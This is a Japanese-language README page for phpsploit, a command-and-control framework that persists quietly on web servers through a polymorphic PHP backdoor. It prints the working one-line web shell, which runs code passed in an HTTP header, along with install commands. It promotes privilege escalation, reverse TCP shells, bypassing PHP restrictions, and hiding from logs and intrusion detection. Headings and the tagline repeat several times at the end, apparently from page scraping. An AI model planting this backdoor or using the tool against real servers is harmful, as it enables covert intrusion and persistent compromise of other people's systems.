完全な機能を備えたC2フレームワーク。ポリモーフィックなPHPワンライナーにより、
Webサーバー上に静かに永続化します

_{作成者:
nil0x42 および
コントリビュータ}

概要

難読化された通信は、標準的なクライアントリクエストとそれに対応するWebサーバーのレスポンス内のHTTPヘッダーを使用して実現され、小さなポリモーフィックバックドアを介してトンネリングされます：

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

クイックスタート

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

機能

効率的：権限昇格タスクを自動化する20以上のプラグイン
- コマンドを実行し、PHPのセキュリティ制限をバイパスしてファイルシステムを参照
- クライアントとターゲット間のファイルのアップロード/ダウンロード
- ローカルテキストエディタでリモートファイルを編集
- ターゲットシステムでSQLコンソールを実行
- リバースTCPシェルを起動
ステルス性：このフレームワークは、偏執的な開発者によって、偏執的なユーザーのために作られました
- ログ解析やNIDSシグネチャ検出に対してほぼ不可視
- セーフモードおよび一般的な_PHPセキュリティ制限のバイパス_
- 通信はHTTPヘッダーに隠蔽
- ロードされたペイロードは_NIDSをバイパス_するために難読化
- http/https/socks4/socks5 プロキシ対応
便利：多くの重要な機能を備えた堅牢なインターフェース
- 任意のオプションに対する詳細なヘルプ（helpコマンド）
- クライアントとサーバーの両方で_クロスプラットフォーム_
- CLIはオートコンプリートとマルチコマンドをサポート
- セッションの保存/読み込み機能と永続的な履歴
- 大規模ペイロード（アップロードなど）のためのマルチリクエスト対応
- 強力で高度に設定可能な設定エンジンを提供
- ユーザーエージェントなどの各設定には_ポリモーフィックモード_がある
- プラグイン連携のためのカスタマイズ可能な環境変数
- 完全なプラグイン開発APIを提供

phpsploit

人気

完全な機能を備えたC2フレームワーク。ポリモーフィックなPHPワンライナーにより、
Webサーバー上に静かに永続化します

概要

クイックスタート

機能

対応プラットフォーム（攻撃側）：

対応プラットフォーム（ターゲット側）：

コントリビュータ

phpsploit

人気

完全な機能を備えたC2フレームワーク。ポリモーフィックなPHPワンライナーにより、Webサーバー上に静かに永続化します

概要

クイックスタート

機能

対応プラットフォーム（攻撃側）：

対応プラットフォーム（ターゲット側）：

コントリビュータ

完全な機能を備えたC2フレームワーク。ポリモーフィックなPHPワンライナーにより、
Webサーバー上に静かに永続化します